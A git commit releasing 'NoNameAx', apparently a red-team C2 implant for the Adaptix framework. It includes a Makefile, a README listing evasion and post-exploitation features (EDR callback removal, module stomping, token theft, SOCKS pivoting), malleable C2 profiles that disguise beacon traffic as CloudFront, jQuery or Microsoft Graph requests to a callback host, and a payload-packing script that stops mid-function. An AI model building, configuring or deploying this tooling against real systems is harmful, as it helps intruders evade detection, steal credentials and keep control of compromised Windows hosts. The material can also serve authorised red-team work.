Initial commit: NoNameAx public release

Position-independent C2 beacon for Adaptix Framework with:
- PIC shellcode beacon (PEB walk, FNV1a hashing)
- BeaconGate API proxy + WFSO PoC sleepmask (extensible)
- BOF execution with module stomping
- Malleable C2 profiles with runtime switching
- WinHTTP transport (proxy-aware)
- Token manipulation (steal, impersonate, create)
- TCP tunneling (SOCKS, lportfwd, rportfwd)
- SMB pivoting
- Stardust UDRL loader with module stomping
This commit is contained in:
MaorSabag
2026-06-28 09:44:19 -04:00
commit c0fc8d878b
176 changed files with 76957 additions and 0 deletions
+23
View File
@@ -0,0 +1,23 @@
# Build artifacts
build/
src_beacon/build/
src_beacon/include/Config_profile.h
src_loader/bin/
src_sleepmask/dist/
# Go plugin binaries
src_server/agent_nonameax/*.so
src_server/listener_nonameax_http/*.so
src_server/service_nax_store/*.so
src_server/service_nax_store/dist/
# PE wrapper build artifacts
src_server/agent_nonameax/pe_templates/Shellcode.h
# Runtime config
nax_root.conf
# Editor / OS
.DS_Store
*.swp
*.swo
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Maor Sabag
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+195
View File
@@ -0,0 +1,195 @@
# NaX/Makefile - top-level build: beacon + loader → combined nax.x64.bin
#
# Outputs:
# build/nax.x64.bin - release payload (loader + beacon + unwind)
# build/nax.x64.debug.bin - debug payload (loader + debug beacon + unwind)
#
# Sub-makes:
# src_loader/Makefile - Stardust-style UDRL (Start, PreMain, Main, Ldr)
# src_beacon/Makefile - PIC beacon (NaxMain, crypto, transport, commands)
#
# Usage:
# make - build release → build/nax.x64.bin (v2 header, stomp off)
# make debug - build debug → build/nax.x64.debug.bin
# make MODULE_STOMP=1 - build with module stomping enabled
# make STOMP_DLL=mshtml.dll - customize sacrificial DLL (default: chakra.dll)
# make loader - build loader only
# make beacon - build beacon only
# make sleepmask - build sleepmask BOF only
# make clean - remove all build artifacts
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
MAKEFLAGS += -s
PACK_SCRIPT := scripts/pack_nax.py
LOADER_BIN := src_loader/bin/nax_loader.x64.bin
# Transport-specific beacon build directory
NAX_TRANSPORT_PROFILE ?= 0
BEACON_TRANSPORT := NAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
ifeq ($(NAX_TRANSPORT_PROFILE),1)
BEACON_BUILD := src_beacon/build/smb
else
BEACON_BUILD := src_beacon/build/http
endif
BEACON_BIN := $(BEACON_BUILD)/beacon.x64.bin
BEACON_PDATA := $(BEACON_BUILD)/beacon.pdata.bin
BEACON_XDATA := $(BEACON_BUILD)/beacon.xdata.bin
BEACON_RVA := $(BEACON_BUILD)/beacon.text_rva
BEACON_DEBUG_BIN := $(BEACON_BUILD)/beacon.x64.debug.bin
BEACON_DEBUG_PDATA := $(BEACON_BUILD)/beacon.debug.pdata.bin
BEACON_DEBUG_XDATA := $(BEACON_BUILD)/beacon.debug.xdata.bin
BEACON_DEBUG_RVA := $(BEACON_BUILD)/beacon.debug.text_rva
OUT_DIR := build
OUT_BIN := $(OUT_DIR)/nax.x64.bin
OUT_DEBUG_BIN := $(OUT_DIR)/nax.x64.debug.bin
# Configurable module stomping (off by default for dev builds)
MODULE_STOMP ?= 0
STOMP_DLL ?= chakra.dll
STOMP_PDATA ?= $(MODULE_STOMP)
# Technique selection (compile-time, passed to loader)
# NAX_STOMP_MODE: 0=VirtualAlloc, 1=ModuleStomp
# NAX_EXEC_MODE: 0=CreateThread, 1=ThreadPool (TppWorkerThread)
NAX_STOMP_MODE ?= 1
NAX_EXEC_MODE ?= 1
# Build pack flags from config
PACK_FLAGS :=
ifneq ($(MODULE_STOMP),0)
PACK_FLAGS += --module-stomp
endif
ifneq ($(STOMP_PDATA),0)
PACK_FLAGS += --stomp-pdata
endif
# Loader technique defines
LOADER_DEFINES := NAX_STOMP_MODE=$(NAX_STOMP_MODE) NAX_EXEC_MODE=$(NAX_EXEC_MODE)
.PHONY: all debug link debug-link loader beacon sleepmask debug-sleepmask clean \
_sync-loader _sync-beacon _sync-beacon-debug
## ========= [ combined output ] =========
all: _sync-loader _sync-beacon | $(OUT_DIR)
@if [ ! -f $(OUT_BIN) ] || \
[ $(LOADER_BIN) -nt $(OUT_BIN) ] || \
[ $(BEACON_BIN) -nt $(OUT_BIN) ]; then \
python3 $(PACK_SCRIPT) \
--loader $(LOADER_BIN) \
--beacon $(BEACON_BIN) \
--pdata $(BEACON_PDATA) \
--xdata $(BEACON_XDATA) \
--text-rva $(BEACON_RVA) \
--stomp-dll "$(STOMP_DLL)" \
$(PACK_FLAGS) \
--output $(OUT_BIN); \
else \
echo " SKIP $(OUT_BIN) is up-to-date"; \
fi
$(OUT_DIR):
mkdir -p $(OUT_DIR)
## ========= [ debug combined output ] =========
debug: _sync-loader _sync-beacon-debug | $(OUT_DIR)
@if [ ! -f $(OUT_DEBUG_BIN) ] || \
[ $(LOADER_BIN) -nt $(OUT_DEBUG_BIN) ] || \
[ $(BEACON_DEBUG_BIN) -nt $(OUT_DEBUG_BIN) ]; then \
python3 $(PACK_SCRIPT) \
--loader $(LOADER_BIN) \
--beacon $(BEACON_DEBUG_BIN) \
--pdata $(BEACON_DEBUG_PDATA) \
--xdata $(BEACON_DEBUG_XDATA) \
--text-rva $(BEACON_DEBUG_RVA) \
--stomp-dll "$(STOMP_DLL)" \
$(PACK_FLAGS) \
--output $(OUT_DEBUG_BIN); \
else \
echo " SKIP $(OUT_DEBUG_BIN) is up-to-date"; \
fi
@if [ ! -f src_sleepmask/dist/sleepmask.x64.o ]; then \
$(MAKE) -j$(JOBS) -C src_sleepmask debug; \
fi
## ========= [ sub-make sync targets ] =========
_sync-loader:
@$(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES)
_sync-beacon:
@$(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT)
_sync-beacon-debug:
@$(MAKE) -j$(JOBS) -C src_beacon debug $(BEACON_TRANSPORT)
## ========= [ sub-makes ] =========
loader:
$(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES)
sleepmask:
$(MAKE) -j$(JOBS) -C src_sleepmask
debug-sleepmask:
$(MAKE) -j$(JOBS) -C src_sleepmask debug
beacon:
$(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT)
## ========= [ link-only (recompile Config.c + re-link) ] =========
link: _sync-loader | $(OUT_DIR)
$(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT)
python3 $(PACK_SCRIPT) \
--loader $(LOADER_BIN) \
--beacon $(BEACON_BIN) \
--pdata $(BEACON_PDATA) \
--xdata $(BEACON_XDATA) \
--text-rva $(BEACON_RVA) \
--stomp-dll "$(STOMP_DLL)" \
$(PACK_FLAGS) \
--output $(OUT_BIN)
debug-link: _sync-loader | $(OUT_DIR)
$(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT)
python3 $(PACK_SCRIPT) \
--loader $(LOADER_BIN) \
--beacon $(BEACON_DEBUG_BIN) \
--pdata $(BEACON_DEBUG_PDATA) \
--xdata $(BEACON_DEBUG_XDATA) \
--text-rva $(BEACON_DEBUG_RVA) \
--stomp-dll "$(STOMP_DLL)" \
$(PACK_FLAGS) \
--output $(OUT_DEBUG_BIN)
## ========= [ component-only targets (for Go packer) ] =========
components: _sync-loader _sync-beacon
@echo "[+] components ready"
debug-components: _sync-loader _sync-beacon-debug
@echo "[+] debug components ready"
link-components: _sync-loader
$(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT)
@echo "[+] link components ready"
debug-link-components: _sync-loader
$(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT)
@echo "[+] debug-link components ready"
## ========= [ clean ] =========
clean:
$(MAKE) -j$(JOBS) -C src_loader -f Makefile clean
$(MAKE) -j$(JOBS) -C src_beacon clean
@echo " NOTE src_sleepmask/dist/ kept (pre-built .o, source is WIP)"
rm -rf $(OUT_DIR)
+155
View File
@@ -0,0 +1,155 @@
# NoNameAx (NaX)
Position-independent C2 beacon for the [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) with module stomping, malleable C2 profiles, BOF execution, and a Stardust-pattern UDRL loader.
![Language](https://img.shields.io/badge/beacon-C-blue)
![Language](https://img.shields.io/badge/server-Go-00ADD8)
![Platform](https://img.shields.io/badge/target-Windows%20x64-0078D6)
![Framework](https://img.shields.io/badge/framework-Adaptix-purple)
## Features
- **PIC shellcode beacon** -- single `.text` section, no CRT, no imports, all APIs resolved via PEB walk
- **Module stomping** -- beacon runs from image-backed DLL memory (IMG), not private allocations (PRV)
- **Clean stack walks** -- `.pdata`/`.xdata` stomped into DLL with correct RVAs, LDR entry patched with full PEB flags (ImageDll, LoadNotificationsSent, ProcessStaticImport, EntryProcessed)
- **Control Flow Guard (CFG) aware** -- queries CFG status at runtime, whitelists beacon entry (loader), BOF go() and sleep_mask() in the CFG bitmap via SetProcessValidCallTargets; safe in CFG-enabled processes
- **Malleable C2 profiles** -- configurable encoding pipeline (base64/hex/raw, XOR mask, body templates, header/cookie/parameter placement), runtime profile switching
- **DLL load notification unhooking** -- removes all `LdrRegisterDllNotification` callbacks at startup, preventing EDR DLL-load telemetry; always enabled, also available at runtime via `dll-notify list/remove`
- **BeaconGate + Sleepmask** -- extensible API call proxy routes Sleep/WaitForSingleObject/WaitForMultipleObjects through a sleepmask BOF (module-stomped, image-backed); ships with a WFSO PoC that replaces Sleep with `NtWaitForSingleObject` on a dummy event — bring your own sleep obfuscation technique
- **BOF execution** -- in-process COFF loader with module stomping (image-backed BOF .text, IFT .pdata injection)
- **Stardust UDRL loader** -- self-relocating PIC loader with TLS egghunter globals, thread pool execution
- **TCP tunneling** -- SOCKS4/5 proxy, local port forwarding and reverse port forwarding through beacon, works over both HTTP and SMB transports
- **Token manipulation** -- steal, impersonate, create from credentials (4 logon types), privilege listing, console header updates
- **26 built-in commands** -- file I/O, process management, token ops, screenshots, downloads, uploads, SMB pivoting
- **AES-128-CBC encryption** -- all frames encrypted end-to-end via BCrypt
- **Proxy-aware transport** -- WinHTTP with automatic proxy detection (PAC/WPAD)
## Architecture
```
+------------+ +----------------+ +--------------+ +-------+ +-------+
| UDRL | | NaxHeader v2 | | PIC Beacon | | .pdata| | .xdata|
| Loader | | (160 bytes) | | (.text) | | | | |
| Stardust | | magic, sizes | | NaxMain() | | RUNTM | | UNWIND|
| PEB walk | | flags, DLL | | + commands | | _FUNC | | _INFO |
| Mod stomp | | | | + transport | | | | |
+------------+ +----------------+ +--------------+ +-------+ +-------+
|
HTTP(S) / SMB
|
+---------------------------------------------------------------+
| Adaptix Framework Server |
| +------------------------+ +-----------------------------+ |
| | listener_nonameax_http | | agent_nonameax | |
| | Profile-driven HTTP |->| BuildPayload, CreateCommand| |
| | AES crypto, transforms | | ProcessData, AxScript UI | |
| +------------------------+ +-----------------------------+ |
+---------------------------------------------------------------+
```
## Quick Start
### Prerequisites
```bash
sudo apt install gcc-mingw-w64-x86-64 nasm binutils golang python3
```
### Build
```bash
make # Release build
make debug # Debug build (NaxDbg output)
make MODULE_STOMP=1 STOMP_PDATA=1 # Module stomping + unwind data
make MODULE_STOMP=1 STOMP_DLL=mshtml.dll # Custom sacrificial DLL
# Go server plugins
cd src_server/agent_nonameax && make
cd src_server/listener_nonameax_http && make
```
### Deploy
1. Copy `.so` plugins to `Server/extenders/`
2. Register in `Server/profile.yaml`
3. Start Adaptix, create a listener, generate a payload
## Commands
| Command | Description |
|---------|-------------|
| `whoami` | Current identity (domain\user) |
| `sleep <s> [jitter%]` | Set callback interval |
| `sleepmask-set` | Send sleepmask BOF (auto-fires on connect) |
| `ls`, `cd`, `pwd`, `mkdir`, `rmdir` | Directory navigation |
| `cat`, `rm`, `download`, `upload` | File operations |
| `ps list`, `ps kill`, `ps run` | Process management |
| `token getuid/steal/use/list/rm/revert/make/privs` | Token manipulation and impersonation |
| `screenshot` | GDI desktop capture |
| `bof [-a] <file.o>` | Execute BOF (sync or async) |
| `bof-stomp sync/async/show` | Reconfigure BOF module stomping |
| `profile <json>` | Runtime C2 profile switch |
| `link`, `unlink` | SMB pivot management |
| `socks start/stop` | SOCKS4/5 proxy (via Adaptix tunnel system) |
| `lportfwd` / `rportfwd` | TCP tunnel forwarding (via Adaptix UI) |
| `terminate thread/process` | Exit beacon |
## Documentation
Full documentation is in the [wiki/](wiki/) folder:
### Core
- **[Beacon Architecture](wiki/Beacon-Architecture.md)** -- NAX_INSTANCE, bootstrap, heartbeat loop, PIC constraints
- **[Wire Protocol](wiki/Wire-Protocol.md)** -- Frame format, message types, command IDs, encryption
- **[Malleable C2 Profiles](wiki/Malleable-C2-Profiles.md)** -- OutputConfig encoding pipeline, profile JSON, runtime switching
- **[Module Stomping](wiki/Module-Stomping.md)** -- Loader-phase beacon stomping, DLL selection, LDR patching
### BOF System
- **[BOF Execution](wiki/BOF-Execution.md)** -- COFF loader, sync/async dispatch, Beacon API reference
- **[BOF Module Stomping](wiki/BOF-Module-Stomping.md)** -- Image-backed BOF .text, IFT .pdata injection, slot pool
### Evasion
- **[BeaconGate & Sleepmask](wiki/BeaconGate-Sleepmask.md)** -- API call proxy, WFSO PoC sleepmask, extensible gate architecture
### Post-Exploitation
- **[Token Commands](wiki/Token-Commands.md)** -- Token theft, impersonation, credential logon, privilege listing
### Networking
- **[Tunneling](wiki/Tunneling.md)** -- Local/reverse port forwarding, wire protocol, OPSEC, flow control
### Extending NaX
- **[Adding Commands](wiki/Adding-Commands.md)** -- End-to-end walkthrough from Wire.h to AxScript
- **[Stardust Loader Guide](wiki/Stardust-Loader-Guide.md)** -- UDRL architecture, how to write your own loader
### Operations
- **[Build and Deploy](wiki/Build-and-Deploy.md)** -- Prerequisites, build commands, Adaptix setup
- **[Operator Reference](wiki/Operator-Reference.md)** -- All commands with syntax and examples
## Project Structure
```
Makefile # Top-level: loader + beacon -> nax.x64.bin
src_beacon/ # PIC shellcode beacon (C, MinGW cross-compile)
include/ # Instance.h, Wire.h, Config.h, Macros.h, Bof.h
src/Core/ # Bootstrap, Ldr (PEB walk), Config, Crypto, Packer
src/Transport/ # Http.c (WinHTTP), HttpCodec.c, Smb.c
src/Commands/ # Dispatch + command handlers + Tunnel.c
src/Bof/ # COFF loader, Beacon API, module stomping
src_loader/ # Stardust UDRL loader
src/ # PreMain, Main, Ldr, Stomp, Pe, Exec, Entry.asm
src_sleepmask/ # Sleepmask BOF (COFF .o, loaded by beacon at runtime)
src/ # main.c (WFSO PoC — extend with your own technique)
include/ # Gate.h, Imports.h
src_server/ # Go plugins for Adaptix Framework
agent_nonameax/ # Agent extender (build, commands, results, AxScript)
listener_nonameax_http/ # HTTP listener (profile transforms, crypto)
profiles/ # Malleable C2 profile JSON files
scripts/ # Build scripts (pack_nax.py)
```
## Acknowledgments
- [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) -- C2 framework and operator console
- [Stardust](https://github.com/Cracked5pider/Stardust) -- PIC loader template by Paul Ungur
- [ZeroPoint Security](https://training.zeropointsecurity.co.uk/) -- UDRL and Sleepmask course
- [Kharon](https://github.com/Adaptix-Framework/Kharon) -- Reference Adaptix agent
+121
View File
@@ -0,0 +1,121 @@
{
"callbacks": [
{
"hosts": ["192.168.77.128:8080"],
"user_agent": "Amazon CloudFront",
"beacon_id_header": "X-Amz-Cf-Id",
"rotation": "random",
"server_error": {
"status": 503,
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Error><Code>ServiceUnavailable</Code><Message>Service is unable to handle request.</Message><RequestId>F5E2D3C4B1A09876</RequestId></Error>",
"headers": {
"Content-Type": "text/xml",
"Server": "AmazonS3",
"x-amz-request-id": "F5E2D3C4B1A09876",
"x-amz-id-2": "vlR7PnpV2Ce81l0PRw6jlUpck7aFV5B/i4p+C0yKfE3gYo2hVDJ7gA==",
"Connection": "close"
}
},
"get": {
"uri": [
"/d/cf-dist/assets/main.woff2",
"/d/cf-dist/css/styles.min.css",
"/d/cf-dist/img/logo.svg",
"/d/cf-dist/manifest.json"
],
"client": {
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br",
"Origin": "https://cdn.example.com",
"Sec-Fetch-Dest": "font",
"Sec-Fetch-Mode": "cors"
},
"metadata": {
"format": "hex",
"mask": false,
"placement": "cookie",
"name": "CloudFront-Key-Pair-Id",
"prepend": "APKA",
"append": ""
},
"parameters": {
"Expires": "1733011200",
"Policy": "eyJ2ZXJzaW9uIjoiMiJ9"
}
},
"server": {
"headers": {
"Content-Type": "font/woff2",
"Server": "AmazonS3",
"x-amz-cf-pop": "IAD89-P2",
"x-amz-cf-id": "noop",
"Via": "1.1 abc123.cloudfront.net (CloudFront)",
"X-Cache": "Hit from cloudfront",
"Access-Control-Allow-Origin": "*",
"Cache-Control": "public, max-age=31536000, immutable"
},
"output": {
"format": "base64url",
"mask": false,
"placement": "body",
"name": "",
"prepend": "",
"append": "",
"empty_response": ""
}
}
},
"post": {
"uri": [
"/prod/api/events",
"/prod/api/metrics",
"/prod/api/logs/ingest"
],
"client": {
"headers": {
"Content-Type": "application/x-amz-json-1.1",
"Accept": "application/json",
"X-Amz-Target": "Logs_20140328.PutLogEvents",
"X-Amz-Date": "20241201T000000Z"
},
"metadata": {
"format": "raw",
"mask": false,
"placement": "parameter",
"name": "X-Amz-Security-Token",
"prepend": "",
"append": ""
},
"output": {
"format": "hex",
"mask": true,
"placement": "body",
"name": "",
"prepend": "{\"logGroupName\":\"/aws/lambda/prod-handler\",\"logStreamName\":\"2024/12/01/[$LATEST]\",\"logEvents\":[{\"timestamp\":1733011200000,\"message\":\"",
"append": "\"}],\"sequenceToken\":\"49641086694350286920040691822737707097\"}"
}
},
"server": {
"headers": {
"Content-Type": "application/x-amz-json-1.1",
"Server": "AmazonS3",
"x-amzn-RequestId": "a1b2c3d4-5678-90ab-cdef-111111111111"
},
"output": {
"format": "hex",
"mask": false,
"placement": "body",
"name": "",
"prepend": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\",\"_data\":\"",
"append": "\",\"rejectedLogEventsInfo\":null}",
"empty_response": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\"}"
}
}
}
}
]
}
+102
View File
@@ -0,0 +1,102 @@
{
"callbacks": [
{
"hosts": ["192.168.77.128:8080"],
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"beacon_id_header": "X-Correlation-Id",
"rotation": "sequential",
"server_error": {
"status": 404,
"body": "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>",
"headers": {
"Content-Type": "text/html",
"Server": "nginx/1.24.0",
"Connection": "keep-alive"
}
},
"get": {
"uri": ["/jquery-3.3.1.min.js", "/assets/js/analytics.js", "/static/bundle.js"],
"client": {
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "https://www.google.com/"
},
"metadata": {
"format": "base64",
"mask": true,
"placement": "cookie",
"name": "__cfduid",
"prepend": "",
"append": ""
},
"parameters": {
"v": "3.3.1"
}
},
"server": {
"headers": {
"Content-Type": "application/javascript; charset=utf-8",
"Cache-Control": "max-age=0, public",
"X-Content-Type-Options": "nosniff",
"Server": "nginx/1.24.0"
},
"output": {
"format": "base64",
"mask": true,
"placement": "body",
"name": "",
"prepend": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice;\n/* data: ",
"append": " */\n});",
"empty_response": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\"}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";});"
}
}
},
"post": {
"uri": ["/api/v1/telemetry", "/api/v1/analytics", "/submit"],
"client": {
"headers": {
"Content-Type": "application/json",
"Accept": "application/json",
"X-Requested-With": "XMLHttpRequest"
},
"metadata": {
"format": "base64url",
"mask": false,
"placement": "header",
"name": "X-Request-Id",
"prepend": "",
"append": ""
},
"output": {
"format": "base64",
"mask": true,
"placement": "body",
"name": "",
"prepend": "{\"status\":\"ok\",\"telemetry\":\"",
"append": "\",\"version\":\"2.1.0\"}"
}
},
"server": {
"headers": {
"Content-Type": "application/json",
"Server": "nginx/1.24.0"
},
"output": {
"format": "raw",
"mask": false,
"placement": "body",
"name": "",
"prepend": "",
"append": "",
"empty_response": "{\"status\":\"accepted\"}"
}
}
}
}
]
}
+124
View File
@@ -0,0 +1,124 @@
{
"callbacks": [
{
"hosts": ["192.168.77.128"],
"user_agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.17928; Pro)",
"beacon_id_header": "X-MS-Correlation-Id",
"rotation": "random",
"server_error": {
"status": 403,
"body": "{\"error\":{\"code\":\"Authorization_RequestDenied\",\"message\":\"Insufficient privileges to complete the operation.\",\"innerError\":{\"date\":\"2024-12-01T00:00:00\",\"request-id\":\"00000000-0000-0000-0000-000000000000\",\"client-request-id\":\"00000000-0000-0000-0000-000000000000\"}}}",
"headers": {
"Content-Type": "application/json; charset=utf-8",
"Server": "Microsoft-IIS/10.0",
"X-Powered-By": "ASP.NET",
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
"X-Content-Type-Options": "nosniff"
}
},
"get": {
"uri": [
"/nax/v1.0/me/presence",
"/nax/v1.0/me/messages",
"/nax/v1.0/me/calendar/events",
"/nax/v1.0/me/drive/recent",
"/nax/beta/me/outlook/masterCategories"
],
"client": {
"headers": {
"Accept": "application/json; odata.metadata=minimal",
"Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub",
"X-AnchorMailbox": "user@contoso.com",
"client-request-id": "7f2e4b3a-1c9d-4e8f-b5a2-3d6c8e9f0a1b",
"Prefer": "outlook.body-content-type=\"text\""
},
"metadata": {
"format": "base64url",
"mask": true,
"placement": "parameter",
"name": "$filter",
"prepend": "",
"append": ""
},
"parameters": {
"$select": "availability,activity",
"$top": "25",
"api-version": "2024-01-01"
}
},
"server": {
"headers": {
"Content-Type": "application/json; odata.metadata=minimal; odata.streaming=true; IEEE754Compatible=false; charset=utf-8",
"Server": "Microsoft-IIS/10.0",
"X-Powered-By": "ASP.NET",
"OData-Version": "4.0",
"X-Content-Type-Options": "nosniff",
"Cache-Control": "private"
},
"output": {
"format": "base64",
"mask": true,
"placement": "body",
"name": "",
"prepend": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\",\"outOfOfficeSettings\":{\"message\":\"\",\"isOutOfOffice\":false},\"statusMessage\":null,\"_telemetry\":\"",
"append": "\",\"_etag\":\"W/\\\"datetime'2024-12-01T00%3A00%3A00Z'\\\"\"}",
"empty_response": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\"}"
}
}
},
"post": {
"uri": [
"/nax/v1.0/me/drive/items/root:/Documents/sync.tmp:/createUploadSession",
"/nax/v1.0/me/drive/items/root:/Documents/telemetry.dat:/content",
"/nax/v1.0/me/sendMail",
"/nax/beta/me/todo/lists/tasks"
],
"client": {
"headers": {
"Content-Type": "application/json; charset=utf-8",
"Accept": "application/json",
"Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub",
"X-AnchorMailbox": "user@contoso.com",
"client-request-id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
},
"metadata": {
"format": "hex",
"mask": false,
"placement": "cookie",
"name": "X-OD-SessionId",
"prepend": "",
"append": ""
},
"output": {
"format": "base64url",
"mask": true,
"placement": "body",
"name": "",
"prepend": "{\"@odata.type\":\"#microsoft.graph.uploadSession\",\"uploadUrl\":\"https://contoso-my.sharepoint.com/personal/user/_api/v2.0/drive/items/root:/sync.tmp:/uploadSession?guid=",
"append": "\",\"expirationDateTime\":\"2024-12-02T00:00:00.000Z\",\"nextExpectedRanges\":[\"0-\"]}"
}
},
"server": {
"headers": {
"Content-Type": "application/json; charset=utf-8",
"Server": "Microsoft-IIS/10.0",
"X-Powered-By": "ASP.NET",
"X-Content-Type-Options": "nosniff"
},
"output": {
"format": "base64",
"mask": true,
"placement": "body",
"name": "",
"prepend": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"_sync\":\"",
"append": "\",\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\",\"file\":{\"mimeType\":\"application/octet-stream\"}}",
"empty_response": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\"}"
}
}
}
}
]
}
+219
View File
@@ -0,0 +1,219 @@
#!/usr/bin/env python3
"""Pack loader + beacon + pdata + xdata into nax.bin with NaxHeader v2."""
import argparse
import struct
import sys
import os
NAX_HDR_MAGIC = 0x4E415832 # "NAX2"
NAX_HDR_SIZE = 160 # fixed header size
NAX_HDR_DLL_MAX = 64 # max WCHAR chars for DLL name
FLAG_MODULE_STOMP = 0x0001
FLAG_STOMP_PDATA = 0x0002
def read_bin(path):
if not path or not os.path.exists(path):
return b""
with open(path, "rb") as f:
return f.read()
def strip_loader_padding(loader):
"""Strip page-padding added by Stardust's build.py.
build.py pads the extracted shellcode to 0x1000-byte page boundaries,
but StRipEnd() returns the code end (not the file end). Strip the
padding and re-pad to 16-byte alignment (NASM default section alignment)
so appended data lands where StRipEnd() points.
NaX loaders extracted via objcopy have no trailing padding - this is
a no-op for them.
"""
stripped = loader.rstrip(b'\x00')
padding = (16 - (len(stripped) % 16)) % 16
return stripped + b'\x00' * padding
def read_text_rva(path):
if not path or not os.path.exists(path):
return 0
with open(path, "r") as f:
val = f.read().strip()
if not val:
return 0
return int(val, 16)
def normalize_pdata(pdata, text_rva, xdata_rva):
"""Convert RUNTIME_FUNCTION RVAs to 0-based offsets.
BeginAddress/EndAddress become offsets from .text start.
UnwindData becomes offset from .xdata start.
The loader adds target DLL RVAs at runtime.
"""
if not pdata or len(pdata) < 12:
return pdata
out = bytearray(pdata)
entry_count = len(out) // 12
for i in range(entry_count):
off = i * 12
begin, end, unwind = struct.unpack_from("<III", out, off)
begin -= text_rva
end -= text_rva
unwind -= xdata_rva
struct.pack_into("<III", out, off, begin & 0xFFFFFFFF, end & 0xFFFFFFFF, unwind & 0xFFFFFFFF)
return bytes(out)
def build_entry_unwind():
"""Build RUNTIME_FUNCTION + UNWIND_INFO for the Entry.asm stub.
Entry.asm prolog (22 bytes, 0x000x15):
0x00 push rsi ; UWOP_PUSH_NONVOL RSI(6)
0x01 mov rsi, rsp ; UWOP_SET_FPREG
0x04 and rsp, -16 ; (implicit, frame register handles it)
0x08 sub rsp, 0x20 ; UWOP_ALLOC_SMALL (0x20/8-1 = 3)
0x0C call NaxMain
0x11 mov rsp, rsi
0x14 pop rsi
0x15 ret
UNWIND_INFO (8 bytes, DWORD-aligned):
Version=1, Flags=0, SizeOfProlog=0x0C, CountOfCodes=3
FrameRegister=RSI(6), FrameOffset=0
UnwindCode[0]: offset=0x08, op=UWOP_ALLOC_SMALL(2), info=3 (0x20 bytes)
UnwindCode[1]: offset=0x01, op=UWOP_SET_FPREG(3), info=0
UnwindCode[2]: offset=0x00, op=UWOP_PUSH_NONVOL(0), info=RSI(6)
+2 bytes padding to DWORD align (CountOfCodes=3 → 4 slots)
RUNTIME_FUNCTION (12 bytes, 0-based after normalization):
BeginAddress=0, EndAddress=0x16, UnwindData=offset in xdata
"""
UWOP_PUSH_NONVOL = 0
UWOP_ALLOC_SMALL = 2
UWOP_SET_FPREG = 3
RSI = 6
unwind_info = struct.pack("<BBBB",
0x01, # Version=1, Flags=0
0x0C, # SizeOfProlog
3, # CountOfCodes
(0 << 4) | RSI, # FrameRegister=RSI, FrameOffset=0
)
unwind_info += struct.pack("<BB", 0x08, (3 << 4) | UWOP_ALLOC_SMALL)
